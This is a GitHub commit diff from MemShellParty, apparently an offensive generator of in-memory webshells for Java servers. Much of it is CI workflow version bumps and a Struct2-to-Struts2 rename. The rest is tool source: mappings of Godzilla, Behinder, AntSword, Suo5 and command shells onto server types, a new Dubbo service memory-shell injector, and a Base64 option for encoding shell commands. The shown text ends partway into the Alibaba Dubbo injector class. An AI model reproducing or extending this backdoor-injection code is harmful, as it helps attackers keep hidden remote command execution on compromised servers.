mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 07:21:53 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
82fcd8ae42 | ||
|
|
167e3452ec | ||
|
|
009c70d8d6 | ||
|
|
fce2b11128 | ||
|
|
8b3f285002 | ||
|
|
0a9a68ee7f | ||
|
|
f0472d231b | ||
|
|
4061c61c29 | ||
|
|
8664e0d45a | ||
|
|
59dc5ba5fc | ||
|
|
01c939ee18 | ||
|
|
b0800f0a0b | ||
|
|
dbd9687003 | ||
|
|
886c37d8c2 | ||
|
|
06feb3fe14 | ||
|
|
cb195715c0 | ||
|
|
036887d806 | ||
|
|
11794f9465 | ||
|
|
e7e97089ce | ||
|
|
ee560ff7ee | ||
|
|
d10323a054 | ||
|
|
016d0d5bbe | ||
|
|
666aed90c3 | ||
|
|
8962c855c9 |
@@ -17,16 +17,16 @@ jobs:
|
||||
os: [ubuntu-latest, windows-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v6
|
||||
@@ -62,28 +62,28 @@ jobs:
|
||||
needs: [ build-jar ]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Download Boot Jar
|
||||
uses: actions/download-artifact@v4
|
||||
uses: actions/download-artifact@v8
|
||||
with:
|
||||
name: boot
|
||||
path: boot/build/libs
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
uses: docker/setup-qemu-action@v4
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v6
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: boot
|
||||
platforms: linux/amd64,linux/arm64
|
||||
@@ -95,15 +95,15 @@ jobs:
|
||||
needs: [ build-jar ]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Publish with Gradle
|
||||
env:
|
||||
|
||||
@@ -22,7 +22,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
- name: Build Docker image
|
||||
run: |
|
||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||
|
||||
@@ -15,21 +15,21 @@ jobs:
|
||||
name: Docker Push
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
uses: docker/setup-qemu-action@v4
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v6
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
@@ -43,27 +43,27 @@ jobs:
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
- middleware: "xxljob"
|
||||
depend_tasks: ""
|
||||
- middleware: "struct2"
|
||||
depend_tasks: ":vul:vul-struct2:war"
|
||||
- middleware: "struts2"
|
||||
depend_tasks: ":vul:vul-struts2:war"
|
||||
runs-on: ubuntu-22.04
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
@@ -41,23 +41,23 @@ jobs:
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "struct2"
|
||||
depend_tasks: ":vul:vul-struct2:war"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
||||
- middleware: "struts2"
|
||||
depend_tasks: ":vul:vul-struts2:war"
|
||||
runs-on: ubuntu-22.04
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
@@ -66,7 +66,7 @@ jobs:
|
||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
uses: mikepenz/action-junit-report@v6
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Get Version
|
||||
id: get_version
|
||||
@@ -36,16 +36,16 @@ jobs:
|
||||
name: Build Jar
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v6
|
||||
@@ -75,7 +75,7 @@ jobs:
|
||||
needs: [ info, build-jar ]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Download Boot Jar
|
||||
uses: actions/download-artifact@v4
|
||||
@@ -84,26 +84,26 @@ jobs:
|
||||
path: boot/build/libs
|
||||
|
||||
- name: Login to GitHub Container Registry
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
uses: docker/setup-qemu-action@v4
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v6
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: boot
|
||||
platforms: linux/amd64,linux/arm64
|
||||
@@ -115,7 +115,7 @@ jobs:
|
||||
ghcr.io/reajason/memshell-party:latest
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v6
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
@@ -130,15 +130,15 @@ jobs:
|
||||
name: Deploy to Maven Central
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Publish with Gradle
|
||||
env:
|
||||
@@ -156,7 +156,7 @@ jobs:
|
||||
permissions:
|
||||
contents: write
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Download Boot Jar
|
||||
uses: actions/download-artifact@v4
|
||||
|
||||
@@ -22,16 +22,16 @@ jobs:
|
||||
runs-on: ubuntu-22.04
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
if: ${{ inputs.depend_tasks != '' }}
|
||||
|
||||
@@ -17,16 +17,16 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Generator Unit Test with Gradle
|
||||
run: ./gradlew :generator:test
|
||||
|
||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
||||
}
|
||||
}
|
||||
|
||||
version = "2.6.1"
|
||||
version = "2.7.2"
|
||||
|
||||
tasks.register("publishAllToMavenCentral") {
|
||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||
|
||||
@@ -37,7 +37,10 @@ dependencies {
|
||||
implementation(libs.jakarta.servlet.api)
|
||||
implementation(libs.spring.webmvc)
|
||||
implementation(libs.spring.webflux)
|
||||
implementation(libs.tomcat.embed.core)
|
||||
implementation(libs.reactor.netty.core)
|
||||
implementation(libs.alibaba.dubbo)
|
||||
implementation(libs.apache.dubbo)
|
||||
implementation(libs.jackson.annotations)
|
||||
implementation(libs.bundles.jna)
|
||||
|
||||
|
||||
@@ -20,5 +20,6 @@ public class Server {
|
||||
public static final String SpringWebMvc = "SpringWebMvc";
|
||||
public static final String SpringWebFlux = "SpringWebFlux";
|
||||
public static final String XXLJOB = "XXLJOB";
|
||||
public static final String Struct2 = "Struct2";
|
||||
public static final String Struts2 = "Struts2";
|
||||
public static final String Dubbo = "Dubbo";
|
||||
}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.asm.ClassInterfaceUtils;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
@@ -15,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.commons.lang3.Strings;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
@@ -60,20 +63,36 @@ public class MemShellGenerator {
|
||||
|
||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||
|
||||
injectorConfig.setInjectorClass(injectorClass);
|
||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||
injectorConfig.setShellClassBytes(shellBytes);
|
||||
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
|
||||
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
|
||||
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
|
||||
String interfaceName = packageName + ".I" + simpleName;
|
||||
injectorConfig.setInjectorHelperClassName(interfaceName);
|
||||
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
|
||||
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
|
||||
String urlPattern = injectorConfig.getUrlPattern();
|
||||
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|
||||
|| StringUtils.isBlank(urlPattern)) {
|
||||
injectorConfig.setUrlPattern(interfaceName);
|
||||
}
|
||||
}
|
||||
|
||||
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
||||
String helperClassName = shellToolConfig.getShellClassName() + "$1";
|
||||
injectorConfig.setInjectorHelperClassName(helperClassName);
|
||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
|
||||
}
|
||||
|
||||
injectorConfig.setInjectorClass(injectorClass);
|
||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||
injectorConfig.setShellClassBytes(shellBytes);
|
||||
|
||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||
byte[] injectorBytes = injectorGenerator.generate();
|
||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.shellClassName(injectorConfig.getInjectorClassName() + "1")
|
||||
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
|
||||
.probeMethod(ProbeMethod.ResponseBody)
|
||||
.probeContent(ProbeContent.Bytecode)
|
||||
.targetJreVersion(shellConfig.getTargetJreVersion())
|
||||
|
||||
@@ -46,7 +46,8 @@ public class ServerFactory {
|
||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||
register(Server.XXLJOB, XxlJob::new);
|
||||
register(Server.Struct2, Struct2::new);
|
||||
register(Server.Struts2, Struts2::new);
|
||||
register(Server.Dubbo, Dubbo::new);
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
@@ -81,7 +82,7 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||
.addShellClass(ACTION, GodzillaStruct2Action.class)
|
||||
.addShellClass(ACTION, GodzillaStruts2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
@@ -106,7 +107,7 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||
.addShellClass(ACTION, BehinderStruct2Action.class)
|
||||
.addShellClass(ACTION, BehinderStruts2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
@@ -124,7 +125,7 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||
.addShellClass(ACTION, AntSwordStruct2Action.class)
|
||||
.addShellClass(ACTION, AntSwordStruts2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
@@ -161,7 +162,9 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||
.addShellClass(ACTION, CommandStruct2Action.class)
|
||||
.addShellClass(ACTION, CommandStruts2Action.class)
|
||||
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
|
||||
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
@@ -187,7 +190,7 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||
.addShellClass(ACTION, Suo5Struct2Action.class)
|
||||
.addShellClass(ACTION, Suo5Struts2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
||||
@@ -212,7 +215,7 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
||||
.addShellClass(ACTION, Suo5v2Struct2Action.class)
|
||||
.addShellClass(ACTION, Suo5v2Struts2Action.class)
|
||||
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
||||
.build());
|
||||
|
||||
@@ -238,7 +241,7 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
||||
.addShellClass(ACTION, NeoreGeorgStruts2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
||||
|
||||
@@ -50,4 +50,8 @@ public class ShellType {
|
||||
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
||||
|
||||
public static final String ACTION = "Action";
|
||||
|
||||
public static final String DUBBO_SERVICE = "DubboService";
|
||||
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
|
||||
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
|
||||
}
|
||||
|
||||
@@ -91,12 +91,15 @@ public class CommandConfig extends ShellToolConfig {
|
||||
}
|
||||
|
||||
public enum Encryptor {
|
||||
RAW, DOUBLE_BASE64;
|
||||
RAW, BASE64, DOUBLE_BASE64;
|
||||
|
||||
public static Encryptor fromString(String encryptor) {
|
||||
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
||||
return DOUBLE_BASE64;
|
||||
}
|
||||
if (encryptor != null && encryptor.equals("BASE64")) {
|
||||
return BASE64;
|
||||
}
|
||||
return RAW;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -27,6 +27,12 @@ public class InjectorConfig {
|
||||
@Builder.Default
|
||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||
|
||||
/**
|
||||
* 辅助类类名
|
||||
*/
|
||||
private String injectorHelperClassName;
|
||||
|
||||
|
||||
/**
|
||||
* 注入访问的地址
|
||||
*/
|
||||
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
public class DubboServiceInterfaceHelperGenerator {
|
||||
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
|
||||
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
|
||||
.redefine(ShellDubboService.class)
|
||||
.name(interfaceName)
|
||||
.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
+2
-3
@@ -7,7 +7,6 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
@@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
* @since 2026/1/13
|
||||
*/
|
||||
public class WebSocketByPassHelperGenerator {
|
||||
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
||||
if (headerPair == null) {
|
||||
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
||||
@@ -31,7 +30,7 @@ public class WebSocketByPassHelperGenerator {
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||
.field(named("headerName")).value(headerPair.getKey())
|
||||
.field(named("headerValue")).value(headerPair.getValue())
|
||||
.name(CommonUtil.generateClassName());
|
||||
.name(helperClassName);
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/4/27
|
||||
*/
|
||||
public class Base64ParamInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
|
||||
returnValue = ShellCommonUtil.base64DecodeToString(param);
|
||||
}
|
||||
}
|
||||
+11
@@ -42,6 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||
}
|
||||
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||
builder = builder
|
||||
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
||||
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||
.withParameters(String.class)
|
||||
.throwing(Exception.class)
|
||||
.intercept(FixedValue.nullValue())
|
||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
|
||||
}
|
||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||
builder = builder.visit(Advice.withCustomMapping()
|
||||
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||
|
||||
+451
@@ -0,0 +1,451 @@
|
||||
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||
|
||||
import com.alibaba.dubbo.common.URL;
|
||||
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
|
||||
import com.alibaba.dubbo.common.utils.ClassHelper;
|
||||
import com.alibaba.dubbo.config.*;
|
||||
import com.alibaba.dubbo.config.model.ApplicationModel;
|
||||
import com.alibaba.dubbo.config.model.ProviderModel;
|
||||
import javassist.ClassPool;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.io.StringWriter;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class AlibabaDubboServiceInjector {
|
||||
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
|
||||
private static final String DISPLAY_HOST = "x.x.x.x";
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
